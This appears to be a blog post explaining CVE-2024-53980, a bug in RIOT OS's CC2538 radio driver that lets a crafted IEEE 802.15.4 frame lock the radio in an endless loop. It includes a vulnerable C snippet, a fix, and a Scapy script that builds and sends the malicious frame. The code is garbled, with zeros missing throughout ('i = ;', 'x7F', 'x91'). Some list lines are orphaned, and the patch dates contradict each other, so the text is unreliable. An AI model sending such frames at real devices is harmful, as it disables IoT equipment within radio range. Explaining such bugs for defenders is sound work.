RIOT is a popular, open-source operating system designed for resource-constrained microcontrollers, particularly for Internet of Things (IoT) devices. However, a recent vulnerability—CVE-2024-53980—has been uncovered that can seriously impact devices based on TI’s CC2538 chip when used with RIOT OS for IEEE 802.15.4 radio communication.

This post breaks down the bug into plain English, explains how it works, includes code snippets, and dives into its exploitability and mitigation challenges.

Background: RIOT OS and IEEE 802.15.4 on CC2538

RIOT supports a wide range of MCUs and radios, including Texas Instruments' CC2538, a popular IEEE 802.15.4 SoC. IEEE 802.15.4 is used in many IoT protocols, including Zigbee and Thread. The radio system defines how packets are sent and received, including a CRC (Cyclic Redundancy Check) for error detection.

How Packet Reception Works

When a radio packet is received, the RIOT driver code reads the length byte from the radio’s RX FIFO buffer. Properly handled, this should safely extract the CRC/FCS (Frame Check Sequence) and determine if the packet is valid.

What Can an Attacker Do?

A malicious actor can craft and send a spoofed IEEE 802.15.4 packet to a device running RIOT OS on CC2538:

The attacker sets a bogus length byte where bit 7 is set (should be ignored)

- The attacker may also fake the FCS/CRC field, sending arbitrary or malicious payloads
- The software then reads outside the intended boundaries of the RX FIFO, eventually encountering a buffer error

The baseband remains disabled, stuck in an endless loop—the radio stack is essentially dead

Result: The CC2538 device is bricked until it is rebooted!

Real-World Consequences

Any device running RIOT OS (without PR #20998) on CC2538 is at risk of a trivial denial of service attack via radio.

Example Code: Vulnerable Packet Processing

Below is a simplified snippet inspired by the vulnerable code (reference):

// Example: Reading length and CRC/FCS from the RX FIFO
uint8_t length = read_from_rx_fifo();
uint8_t packet[LENGTHMAX];

// BAD: uses all 8 bits of length, should mask off bit 7
for (uint8_t i = ; i < length; i++) {
    packet[i] = read_from_rx_fifo();
}

// Attempt to check CRC at packet[length-1] (may be wrong)
uint8_t received_crc = packet[length-1];
if (check_crc(packet, length-1, received_crc)) {
    // Continue processing, maybe send ACK
}
else {
    // Print error, but do nothing to break the loop
}

The Fix: Properly mask the length byte as the hardware expects

// GOOD: Mask bit 7 to get actual packet length
uint8_t length = read_from_rx_fifo() & x7F;
...

Set the length byte > valid packet size (with bit 7 set)

- Add a spoofed FCS/CRC

Demonstration of Attack (Pseudocode)

# Pseudocode for sending a malicious packet

from scapy.all import *

def send_malicious_packet():
    # 802.15.4 frame with spoofed length
    pkt = Dot15d4FCS()  # Scapy can be used for custom frames
    # Set frame length with bit 7 set (e.g., x91 instead of x11)
    pkt.len = x91  # Bit 7 ON, spoofed length
    pkt.payload = "\x00"*17  # Arbitrary payload (match spoofed length)
    # Optionally craft FCS/CRC as zero or bogus
    pkt.fcs = x000

    sendp(pkt, iface="zigbee")  # Assuming you have a compatible radio

# Note: You would need appropriate radio hardware to send this over the air

References

- RIOT-OS Pull Request #20998 (fix)
- RIOT-OS Issue Tracker - CC2538 endless loop
- IEEE 802.15.4 Specification (wikipedia)

Mitigation & Status

A fix is NOT yet merged at the time of this writing!

If you use RIOT OS on CC2538, you are strongly encouraged to

- Apply PR #20998 once it’s available

Avoid trusting packet length fields—mask bit 7 yourself in custom builds

- Consider disabling AUTO_ACK as a temporary workaround, but this is only a partial (and possibly disruptive) fix

Final Thoughts

CVE-2024-53980 is a simple but critical bug—allowing any wireless attacker in range to remotely crash your CC2538-based IoT device. RIOT users should follow upstream developments closely, especially for mission-critical deployments.

Stay safe and up-to-date!

*This post is an original and exclusive breakdown for this outlet, with an emphasis on straightforward language and actionable infosec advice. If you found it helpful, star the RIOT repo to support open-source security!*


Disclosure: There is no official patch as of June 2024. For the latest on this issue, watch RIOT’s GitHub.

Timeline

Published on: 11/29/2024 19:15:09 UTC